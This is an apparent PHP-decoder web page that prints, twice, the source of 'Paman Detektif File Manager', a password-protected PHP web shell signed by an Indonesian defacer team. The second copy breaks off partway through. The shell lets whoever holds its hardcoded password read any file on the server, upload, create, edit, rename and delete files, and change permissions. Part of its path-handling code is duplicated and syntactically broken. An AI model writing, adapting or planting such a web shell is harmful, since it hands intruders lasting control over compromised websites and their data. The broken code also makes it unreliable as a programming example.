Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // Set your password here $password = "jembotmawot"; // Check if the user is lo..

Decoded Output download

<?php 
// Set your password here 
$password = "jembotmawot"; 
 
// Check if the user is logging out 
if (isset($_GET['logout'])) { 
    session_start(); 
    session_unset(); 
    session_destroy(); 
    header("Location: ".$_SERVER['PHP_SELF']); 
    exit(); 
} 
 
// Check if the password has been submitted 
if (isset($_POST['password'])) { 
    session_start(); 
    if ($_POST['password'] === $password) { 
        // Password is correct, mark the user as authenticated 
        $_SESSION['authenticated'] = true; 
    } else { 
        // Password is incorrect, display an error message 
        echo "Invalid password. Please try again."; 
    } 
} 
 
// Check if the user is authenticated 
session_start(); 
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) { 
    // User is not authenticated, display the login form 
    ?> 
    <!DOCTYPE html> 
<html> 
 
<head> 
    <title>Login</title> 
    <style> 
        body { 
            background: #282c35; 
            color: #abb2bf; 
            font-family: "Courier New", monospace; 
            margin: 0; 
            padding: 0; 
        } 
 
        .container { 
            max-width: 800px; 
            margin: 0 auto; 
        } 
 
        h1 { 
            text-align: center; 
            margin-top: 10px; 
        } 
 
        form { 
            text-align: center; 
        } 
 
        input[type="password"] { 
            width: 100%; 
            background-color: #20252d; 
            color: #abb2bf; 
            border: 1px solid #6AC045; 
            padding: 5px; 
            font-family: "Courier New", monospace; 
            margin-bottom: 10px; 
        } 
 
        input[type="submit"] { 
            background-color: #1f232b; 
            color: #6AC045; 
            border: 1px solid #6AC045; 
            padding: 5px 10px; 
            font-family: "Courier New", monospace; 
        } 
 
        a { 
            color: #0091ea; 
            text-decoration: none; 
        } 
 
        a:hover { 
            text-decoration: underline; 
        } 
    </style> 
</head> 
 
<body> 
    <div class="container"> 
        <h1>&lt;/&gt; <font color="red">Paman Detektif</font> <font color="dodgerblue">LOGIN</font></h1> 
        <form method="POST"> 
            Password: <input type="password" name="password"><br> 
            <input type="submit" value="Login"> 
        </form> 
    </div> 
</body> 
 
</html> 
 
    <?php 
    exit(); // Stop executing the script 
} 
?> 
<?php 
// Paman Detektif File Manager 
// 
 
set_time_limit(0); 
error_reporting(0); 
 
if (get_magic_quotes_gpc()) { 
    foreach ($_POST as $key => $value) { 
        $_POST[$key] = stripslashes($value); 
    } 
} 
?> 
<!DOCTYPE html> 
<html> 
 
<head> 
    <title>Paman Detektif Filemanager</title> 
    <style> 
        body { 
            background: #282c35; 
            color: #abb2bf; /* Lighter text color */ 
            font-family: "Courier New", monospace; 
            margin: 0; 
            padding: 0; 
        } 
 
        table { 
            border-collapse: collapse; 
            width: 100%; 
            color: #abb2bf; /* Lighter text color */ 
        } 
 
        th, 
        td { 
            border: 1px solid #abb2bf; /* Lighter border color */ 
            padding: 8px; 
            text-align: left; 
        } 
 
        th { 
            background-color: #1f232b; 
            color: #6AC045; /* Bright green text color for headers */ 
        } 
 
        a { 
            color: #0091ea; /* Bright blue link color */ 
            text-decoration: none; 
        } 
 
        a:hover { 
            text-decoration: underline; 
        } 
 
        textarea { 
            width: 100%; 
            height: 400px; 
            background-color: #20252d; 
            color: #abb2bf; /* Lighter text color */ 
            border: 1px solid #6AC045; 
            padding: 5px; 
            font-family: "Courier New", monospace; 
        } 
 
        h1 { 
            text-align: center; 
            margin-top: 10px; 
        } 
 
        .container { 
            max-width: 800px; 
            margin: 0 auto; 
        } 
    </style> 
</head> 
 
<body> 
    <div class="container"> 
        <h1>&lt;/&gt; <font color="red">Paman Detektif</font> <font color="dodgerblue">FILE MANAGER</font></h1> 
        <table> 
            <tr> 
                <td> 
                    <font color="green"><?php echo php_uname(); ?></font><br> 
                    <?php 
                    if (isset($_GET['path'])) { 
                        $path = $_GET['path']; 
                    } else { 
                        $path = getcwd(); 
                    } 
                    $path = str_replace('\', '/', $path); 
                    $paths = explode('/', $path); 
 
                    foreach ($paths as $id => $pat) { 
    if ($pat == '' && $id == 0) { 
        $a = true; 
        echo '<font color="#fff">$ root@PamanDetektif : <a href="?path=' . base64_encode('/') . '">/</a>'; 
        continue; 
    } 
    if ($pat == '') continue; 
    $encodedPath = base64_encode(implode('/', array_slice($paths, 0, $id + 1))); 
    echo '<a href="?path=' . $encodedPath . '">' . $pat . '</a>/'; 
} 
 
                            continue; 
                        } 
                        if ($pat == '') continue; 
                        echo '<a href="?path=' . base64_encode(implode('/', array_slice($paths, 0, $id + 1))) . '">' . $pat . '</a>/'; 
                    } 
                    echo '</font>'; 
                    ?> 
                </td> 
            </tr> 
            <tr> 
                <td> 
                    <center> 
                        <?php 
                        if (isset($_FILES['file'])) { 
                            if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) { 
                                echo '<font color="green">File Upload</font><br />'; 
                            } else { 
                                echo '<font color="red">Upload Failed !!</font><br />'; 
                            } 
                        } 
                        ?> 
                    </center> 
                    <center> 
                        <form enctype="multipart/form-data" method="POST"> 
                            <input type="file" name="file" /> 
                            <input type="submit" value="Upload" /> 
                        </form> 
                    </center> 
                </td> 
            </tr> 
            <?php 
            if (isset($_GET['filesrc'])) { 
                echo "<tr><td><center>Current File : "; 
                echo $_GET['filesrc']; 
                echo '</center></tr></td></table><br />'; 
                echo (' <textarea readonly>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>'); 
            } elseif (isset($_GET['option']) && $_GET['opt'] != 'delete') { 
                echo '</table><br /><center>' . $_POST['path'] . '<br /><br />'; 
                // Chmod 
                if ($_GET['opt'] == 'chmod') { 
                    if (isset($_POST['perm'])) { 
                        if (chmod($_POST['path'], $_POST['perm'])) { 
                            echo '<font color="green">Change Permission Done </font><br />'; 
                        } else { 
                            echo '<font color="red">Change Permission Error </font><br />'; 
                        } 
                    } 
 
                    $hell = $_GET['path']; 
                    $yeah = $_GET['name']; 
                    $patc = "$hell/$yeah"; 
 
                    echo '<form method="POST"> 
                            Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($patc)), -4) . '" /> 
                            <input type="hidden" name="path" value="' . $_POST['path'] . '"> 
                            <input type="hidden" name="opt" value="chmod"> 
                            <input type="submit" value="Go" /> 
                        </form>'; 
                } 
                // 
                elseif ($_GET['opt'] == 'btw') { 
                    $cwd = getcwd(); 
                    echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST"> 
                            New Name : <input name="name" type="text" size="20" value="Folder" /> 
                            <input type="hidden" name="path" value="' . $cwd . '"> 
                            <input type="hidden" name="opt" value="delete"> 
                            <input type="submit" value="Go" /> 
                        </form>'; 
                } 
                // Rename file 
                elseif ($_GET['opt'] == 'rename') { 
                    if (isset($_POST['newname'])) { 
                        if (rename($_POST['path'], $path . '/' . $_POST['newname'])) { 
                            echo '<font color="green">Change Name Done </font><br />'; 
                        } else { 
                            echo '<font color="red">Change Name Error </font><br />'; 
                        } 
                        $_POST['name'] = $_POST['newname']; 
                    } 
                    $hell = $_GET['path']; 
                    $yeah = $_GET['name']; 
                    $patc = "$hell/$yeah"; 
                    $new = $_POST['newname']; 
 
                    echo '<form method="POST"> 
                            New Name : <input name="newname" type="text" size="20" value="' . $new . '" /> 
                            <input type="hidden" name="path" value="' . $patc . '"> 
                            <input type="hidden" name="opt" value="rename"> 
                            <input type="submit" value="Go" /> 
                        </form>'; 
                } 
                // File baru 
                elseif ($_GET['opt'] == 'baru') { 
 
                    $hell = $_GET['path']; 
                    $yeah = $_GET['name']; 
                    $patc = "$hell/$yeah"; 
                    $new = $_POST['newname']; 
                    $azz = $_POST['path']; 
                    $newz = "$azz/$new"; 
 
                    if (isset($_POST['src'])) { 
                        $fp = fopen($_POST['path'], 'w'); 
                        if (fwrite($fp, $_POST['src'])) { 
                            echo '<font color="green">Create File Done [ ' . $new . ' ]</font><br />'; 
                        } else { 
                            echo '<font color="red">Create File Error</font><br />'; 
                        } 
                        fclose($fp); 
                    } 
 
                    echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="' . $new . '" /><input type="submit" name="ngaran" value="Create" /></form><br> '; 
 
                    $ho = $_POST['ngaran1']; 
 
                    if (isset($_POST['ngaran'])) { 
                        echo '<form method="POST"> 
                                <textarea cols="80" rows="20" name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br /> 
                                <input type="hidden" name="path" value="' . $hell . '/' . $ho . '"> 
                                <input type="hidden" name="opt" value="edit"> 
                                <input type="submit" value="Go" /> 
                            </form>'; 
                    } 
                } 
                // Edited file 
                elseif ($_GET['opt'] == 'edit') { 
                    if (isset($_POST['src'])) { 
                        $fp = fopen($_POST['path'], 'w'); 
                        if (fwrite($fp, $_POST['src'])) { 
                            echo '<font color="green">Edit File Done </font><br />'; 
                        } else { 
                            echo '<font color="red">Edit File Error </font><br />'; 
                        } 
                        fclose($fp); 
                    } 
                    $hell = $_GET['path']; 
                    $yeah = $_GET['name']; 
                    $patc = "$hell/$yeah"; 
                    echo '<form method="POST"> 
                            <textarea cols="80" rows="20" name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br /> 
                            <input type="hidden" name="path" value="' . $patc . '"> 
                            <input type="hidden" name="opt" value="edit"> 
                            <input type="submit" value="Go" /> 
                        </form>'; 
                } 
                echo '</center>'; 
            } else { 
                echo '</table><br /><center>'; 
                // Delete dir and file 
                if (isset($_GET['option']) && $_GET['opt'] == 'delete') { 
 
                    $hell = $_GET['path']; 
                    $yeah = $_GET['name']; 
                    $patc = "$hell/$yeah"; 
 
                    // Delete dir 
                    if ($_GET['type'] == 'dir') { 
 
                        if (rmdir($patc)) { 
                            echo '<font color="green">Delete File Done</font><br />'; 
                        } else { 
                            echo '<font color="red">Delete File Error </font><br />'; 
                        } 
                    } 
                    // buat folder 
                    if ($_GET['type'] == 'buat') { 
                        $haaa = $_POST['path']; 
                        $heee = $_POST['name']; 
                        $hooo = "$haaa/$heee"; 
                        $new = $haaa . '/' . htmlspecialchars($heee); 
                        if (!mkdir($new)) { 
                            echo '<font color="red">Create Folder Error</font><br />'; 
                        } else { 
                            echo '<font color="green">Create Folder Done </font><br />'; 
                        } 
                    } 
                    // Delete file 
                    elseif ($_GET['type'] == 'file') { 
 
                        $hell = $_GET['path']; 
                        $yeah = $_GET['name']; 
                        $patc = "$hell/$yeah"; 
 
                        if (unlink($patc)) { 
                            echo '<font color="green">Delete File Done</font><br />'; 
                        } else { 
                            echo '<font color="red">Delete File Error </font><br />'; 
                        } 
                    } 
                } 
                echo '</center>'; 
                $scandir = scandir($path); 
                $pa = getcwd(); 
                echo ' <table class="table_home"> 
                        <tr> 
                            <th>Name</th> 
                            <th>Size</th> 
                            <th>Perm</th> 
                            <th>Options</th> 
                        </tr> 
                        <tr> 
                            <td>..</td> 
                            <td align=center>NONE</td> 
                            <td align=center>LINK</td> 
                            <td align=center> 
                                <a href="?option&path=' . $pa . '&opt=baru&name=new.php">+ New File</a> | 
                                <a href="?option&path=' . $pa . '&opt=btw&type=dir">+ New Dir</a> 
                            </td> 
                        </tr>'; 
                foreach ($scandir as $dir) { 
                    if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; 
                    echo " 
                    <tr> 
                        <td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td> 
                        <td><center>DIR</center></td> 
                        <td><center>"; 
                    if (is_writable("$path/$dir")) echo '<font color="green">'; 
                    elseif (!is_readable("$path/$dir")) echo '<font color="red">'; 
                    echo perms("$path/$dir"); 
                    if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; 
                    echo "</center></td> 
                        <td><center> 
                            <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> | 
                            <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> | 
                            <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a> 
                        </center></td> 
                    </tr>"; 
                } 
                echo '<br>'; 
                foreach ($scandir as $file) { 
                    if (!is_file("$path/$file")) continue; 
                    $size = filesize("$path/$file") / 1024; 
                    $size = round($size, 3); 
                    if ($size >= 1024) { 
                        $size = round($size / 1024, 2) . ' MB'; 
                    } else { 
                        $size = $size . ' KB'; 
                    } 
                    echo "<tr> 
                            <td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td> 
                            <td><center>" . $size . "</center></td> 
                            <td><center>"; 
                    if (is_writable("$path/$file")) echo '<font color="green">'; 
                    elseif (!is_readable("$path/$file")) echo '<font color="red">'; 
                    echo perms("$path/$file"); 
                    if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; 
                    echo "</center></td> 
                            <td><center> 
                                <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> | 
                                <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> | 
                                <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> | 
                                <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a> 
                            </center></td> 
                        </tr>"; 
                } 
                echo '</table></div>'; 
            } 
            echo '<br><center>C0ded By Uncle Detective<br>Indonesia Defacer Tersakiti Team</b></body></html>'; 
 
            function perms($file) 
            { 
                $perms = fileperms($file); 
 
                if (($perms & 0xC000) == 0xC000) { 
                    // Socket 
                    $info = 's'; 
                } elseif (($perms & 0xA000) == 0xA000) { 
                    // Symbolic Link 
                    $info = 'l'; 
                } elseif (($perms & 0x8000) == 0x8000) { 
                    // Regular 
                    $info = '-'; 
                } elseif (($perms & 0x6000) == 0x6000) { 
                    // Block special 
                    $info = 'b'; 
                } elseif (($perms & 0x4000) == 0x4000) { 
                    // Directory 
                    $info = 'd'; 
                } elseif (($perms & 0x2000) == 0x2000) { 
                    // Character special 
                    $info = 'c'; 
                } elseif (($perms & 0x1000) == 0x1000) { 
                    // FIFO pipe 
                    $info = 'p'; 
                } else { 
                    // Unknown 
                    $info = 'u'; 
                } 
 
                // Owner 
                $info .= (($perms & 0x0100) ? 'r' : '-'); 
                $info .= (($perms & 0x0080) ? 'w' : '-'); 
                $info .= (($perms & 0x0040) ? 
                    (($perms & 0x0800) ? 's' : 'x') : 
                    (($perms & 0x0800) ? 'S' : '-')); 
 
                // Group 
                $info .= (($perms & 0x0020) ? 'r' : '-'); 
                $info .= (($perms & 0x0010) ? 'w' : '-'); 
                $info .= (($perms & 0x0008) ? 
                    (($perms & 0x0400) ? 's' : 'x') : 
                    (($perms & 0x0400) ? 'S' : '-')); 
 
                // World 
                $info .= (($perms & 0x0004) ? 'r' : '-'); 
                $info .= (($perms & 0x0002) ? 'w' : '-'); 
                $info .= (($perms & 0x0001) ? 
                    (($perms & 0x0200) ? 't' : 'x') : 
                    (($perms & 0x0200) ? 'T' : '-')); 
 
                return $info; 
            } 
            ?> 
</body> 
 
</html> 
 
 
<!-- Add a logout button or link below your file manager --> 
<a href="?logout">Logout</a> 

Did this file decode correctly?

Original Code

<?php
// Set your password here
$password = "jembotmawot";

// Check if the user is logging out
if (isset($_GET['logout'])) {
    session_start();
    session_unset();
    session_destroy();
    header("Location: ".$_SERVER['PHP_SELF']);
    exit();
}

// Check if the password has been submitted
if (isset($_POST['password'])) {
    session_start();
    if ($_POST['password'] === $password) {
        // Password is correct, mark the user as authenticated
        $_SESSION['authenticated'] = true;
    } else {
        // Password is incorrect, display an error message
        echo "Invalid password. Please try again.";
    }
}

// Check if the user is authenticated
session_start();
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) {
    // User is not authenticated, display the login form
    ?>
    <!DOCTYPE html>
<html>

<head>
    <title>Login</title>
    <style>
        body {
            background: #282c35;
            color: #abb2bf;
            font-family: "Courier New", monospace;
            margin: 0;
            padding: 0;
        }

        .container {
            max-width: 800px;
            margin: 0 auto;
        }

        h1 {
            text-align: center;
            margin-top: 10px;
        }

        form {
            text-align: center;
        }

        input[type="password"] {
            width: 100%;
            background-color: #20252d;
            color: #abb2bf;
            border: 1px solid #6AC045;
            padding: 5px;
            font-family: "Courier New", monospace;
            margin-bottom: 10px;
        }

        input[type="submit"] {
            background-color: #1f232b;
            color: #6AC045;
            border: 1px solid #6AC045;
            padding: 5px 10px;
            font-family: "Courier New", monospace;
        }

        a {
            color: #0091ea;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }
    </style>
</head>

<body>
    <div class="container">
        <h1>&lt;/&gt; <font color="red">Paman Detektif</font> <font color="dodgerblue">LOGIN</font></h1>
        <form method="POST">
            Password: <input type="password" name="password"><br>
            <input type="submit" value="Login">
        </form>
    </div>
</body>

</html>

    <?php
    exit(); // Stop executing the script
}
?>
<?php
// Paman Detektif File Manager
//

set_time_limit(0);
error_reporting(0);

if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
?>
<!DOCTYPE html>
<html>

<head>
    <title>Paman Detektif Filemanager</title>
    <style>
        body {
            background: #282c35;
            color: #abb2bf; /* Lighter text color */
            font-family: "Courier New", monospace;
            margin: 0;
            padding: 0;
        }

        table {
            border-collapse: collapse;
            width: 100%;
            color: #abb2bf; /* Lighter text color */
        }

        th,
        td {
            border: 1px solid #abb2bf; /* Lighter border color */
            padding: 8px;
            text-align: left;
        }

        th {
            background-color: #1f232b;
            color: #6AC045; /* Bright green text color for headers */
        }

        a {
            color: #0091ea; /* Bright blue link color */
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }

        textarea {
            width: 100%;
            height: 400px;
            background-color: #20252d;
            color: #abb2bf; /* Lighter text color */
            border: 1px solid #6AC045;
            padding: 5px;
            font-family: "Courier New", monospace;
        }

        h1 {
            text-align: center;
            margin-top: 10px;
        }

        .container {
            max-width: 800px;
            margin: 0 auto;
        }
    </style>
</head>

<body>
    <div class="container">
        <h1>&lt;/&gt; <font color="red">Paman Detektif</font> <font color="dodgerblue">FILE MANAGER</font></h1>
        <table>
            <tr>
                <td>
                    <font color="green"><?php echo php_uname(); ?></font><br>
                    <?php
                    if (isset($_GET['path'])) {
                        $path = $_GET['path'];
                    } else {
                        $path = getcwd();
                    }
                    $path = str_replace('\\', '/', $path);
                    $paths = explode('/', $path);

                    foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo '<font color="#fff">$ root@PamanDetektif : <a href="?path=' . base64_encode('/') . '">/</a>';
        continue;
    }
    if ($pat == '') continue;
    $encodedPath = base64_encode(implode('/', array_slice($paths, 0, $id + 1)));
    echo '<a href="?path=' . $encodedPath . '">' . $pat . '</a>/';
}

                            continue;
                        }
                        if ($pat == '') continue;
                        echo '<a href="?path=' . base64_encode(implode('/', array_slice($paths, 0, $id + 1))) . '">' . $pat . '</a>/';
                    }
                    echo '</font>';
                    ?>
                </td>
            </tr>
            <tr>
                <td>
                    <center>
                        <?php
                        if (isset($_FILES['file'])) {
                            if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
                                echo '<font color="green">File Upload</font><br />';
                            } else {
                                echo '<font color="red">Upload Failed !!</font><br />';
                            }
                        }
                        ?>
                    </center>
                    <center>
                        <form enctype="multipart/form-data" method="POST">
                            <input type="file" name="file" />
                            <input type="submit" value="Upload" />
                        </form>
                    </center>
                </td>
            </tr>
            <?php
            if (isset($_GET['filesrc'])) {
                echo "<tr><td><center>Current File : ";
                echo $_GET['filesrc'];
                echo '</center></tr></td></table><br />';
                echo (' <textarea readonly>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>');
            } elseif (isset($_GET['option']) && $_GET['opt'] != 'delete') {
                echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
                // Chmod
                if ($_GET['opt'] == 'chmod') {
                    if (isset($_POST['perm'])) {
                        if (chmod($_POST['path'], $_POST['perm'])) {
                            echo '<font color="green">Change Permission Done </font><br />';
                        } else {
                            echo '<font color="red">Change Permission Error </font><br />';
                        }
                    }

                    $hell = $_GET['path'];
                    $yeah = $_GET['name'];
                    $patc = "$hell/$yeah";

                    echo '<form method="POST">
                            Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($patc)), -4) . '" />
                            <input type="hidden" name="path" value="' . $_POST['path'] . '">
                            <input type="hidden" name="opt" value="chmod">
                            <input type="submit" value="Go" />
                        </form>';
                }
                //
                elseif ($_GET['opt'] == 'btw') {
                    $cwd = getcwd();
                    echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
                            New Name : <input name="name" type="text" size="20" value="Folder" />
                            <input type="hidden" name="path" value="' . $cwd . '">
                            <input type="hidden" name="opt" value="delete">
                            <input type="submit" value="Go" />
                        </form>';
                }
                // Rename file
                elseif ($_GET['opt'] == 'rename') {
                    if (isset($_POST['newname'])) {
                        if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                            echo '<font color="green">Change Name Done </font><br />';
                        } else {
                            echo '<font color="red">Change Name Error </font><br />';
                        }
                        $_POST['name'] = $_POST['newname'];
                    }
                    $hell = $_GET['path'];
                    $yeah = $_GET['name'];
                    $patc = "$hell/$yeah";
                    $new = $_POST['newname'];

                    echo '<form method="POST">
                            New Name : <input name="newname" type="text" size="20" value="' . $new . '" />
                            <input type="hidden" name="path" value="' . $patc . '">
                            <input type="hidden" name="opt" value="rename">
                            <input type="submit" value="Go" />
                        </form>';
                }
                // File baru
                elseif ($_GET['opt'] == 'baru') {

                    $hell = $_GET['path'];
                    $yeah = $_GET['name'];
                    $patc = "$hell/$yeah";
                    $new = $_POST['newname'];
                    $azz = $_POST['path'];
                    $newz = "$azz/$new";

                    if (isset($_POST['src'])) {
                        $fp = fopen($_POST['path'], 'w');
                        if (fwrite($fp, $_POST['src'])) {
                            echo '<font color="green">Create File Done [ ' . $new . ' ]</font><br />';
                        } else {
                            echo '<font color="red">Create File Error</font><br />';
                        }
                        fclose($fp);
                    }

                    echo '<form method="POST"> Name : <input name="ngaran1" type="text" size="20" value="' . $new . '" /><input type="submit" name="ngaran" value="Create" /></form><br> ';

                    $ho = $_POST['ngaran1'];

                    if (isset($_POST['ngaran'])) {
                        echo '<form method="POST">
                                <textarea cols="80" rows="20" name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br />
                                <input type="hidden" name="path" value="' . $hell . '/' . $ho . '">
                                <input type="hidden" name="opt" value="edit">
                                <input type="submit" value="Go" />
                            </form>';
                    }
                }
                // Edited file
                elseif ($_GET['opt'] == 'edit') {
                    if (isset($_POST['src'])) {
                        $fp = fopen($_POST['path'], 'w');
                        if (fwrite($fp, $_POST['src'])) {
                            echo '<font color="green">Edit File Done </font><br />';
                        } else {
                            echo '<font color="red">Edit File Error </font><br />';
                        }
                        fclose($fp);
                    }
                    $hell = $_GET['path'];
                    $yeah = $_GET['name'];
                    $patc = "$hell/$yeah";
                    echo '<form method="POST">
                            <textarea cols="80" rows="20" name="src">' . htmlspecialchars(file_get_contents($patc)) . '</textarea><br />
                            <input type="hidden" name="path" value="' . $patc . '">
                            <input type="hidden" name="opt" value="edit">
                            <input type="submit" value="Go" />
                        </form>';
                }
                echo '</center>';
            } else {
                echo '</table><br /><center>';
                // Delete dir and file
                if (isset($_GET['option']) && $_GET['opt'] == 'delete') {

                    $hell = $_GET['path'];
                    $yeah = $_GET['name'];
                    $patc = "$hell/$yeah";

                    // Delete dir
                    if ($_GET['type'] == 'dir') {

                        if (rmdir($patc)) {
                            echo '<font color="green">Delete File Done</font><br />';
                        } else {
                            echo '<font color="red">Delete File Error </font><br />';
                        }
                    }
                    // buat folder
                    if ($_GET['type'] == 'buat') {
                        $haaa = $_POST['path'];
                        $heee = $_POST['name'];
                        $hooo = "$haaa/$heee";
                        $new = $haaa . '/' . htmlspecialchars($heee);
                        if (!mkdir($new)) {
                            echo '<font color="red">Create Folder Error</font><br />';
                        } else {
                            echo '<font color="green">Create Folder Done </font><br />';
                        }
                    }
                    // Delete file
                    elseif ($_GET['type'] == 'file') {

                        $hell = $_GET['path'];
                        $yeah = $_GET['name'];
                        $patc = "$hell/$yeah";

                        if (unlink($patc)) {
                            echo '<font color="green">Delete File Done</font><br />';
                        } else {
                            echo '<font color="red">Delete File Error </font><br />';
                        }
                    }
                }
                echo '</center>';
                $scandir = scandir($path);
                $pa = getcwd();
                echo ' <table class="table_home">
                        <tr>
                            <th>Name</th>
                            <th>Size</th>
                            <th>Perm</th>
                            <th>Options</th>
                        </tr>
                        <tr>
                            <td>..</td>
                            <td align=center>NONE</td>
                            <td align=center>LINK</td>
                            <td align=center>
                                <a href="?option&path=' . $pa . '&opt=baru&name=new.php">+ New File</a> |
                                <a href="?option&path=' . $pa . '&opt=btw&type=dir">+ New Dir</a>
                            </td>
                        </tr>';
                foreach ($scandir as $dir) {
                    if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
                    echo "
                    <tr>
                        <td><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='> <a href=\"?path=$path/$dir\">$dir</a></td>
                        <td><center>DIR</center></td>
                        <td><center>";
                    if (is_writable("$path/$dir")) echo '<font color="green">';
                    elseif (!is_readable("$path/$dir")) echo '<font color="red">';
                    echo perms("$path/$dir");
                    if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
                    echo "</center></td>
                        <td><center>
                            <a href=\"?option&path=$path&opt=rename&type=dir&name=$dir\">Rename</a> |
                            <a href=\"?option&path=$path&opt=delete&type=dir&name=$dir\">Delete</a> |
                            <a href=\"?option&path=$path&opt=chmod&type=dir&name=$dir\">Chmod</a>
                        </center></td>
                    </tr>";
                }
                echo '<br>';
                foreach ($scandir as $file) {
                    if (!is_file("$path/$file")) continue;
                    $size = filesize("$path/$file") / 1024;
                    $size = round($size, 3);
                    if ($size >= 1024) {
                        $size = round($size / 1024, 2) . ' MB';
                    } else {
                        $size = $size . ' KB';
                    }
                    echo "<tr>
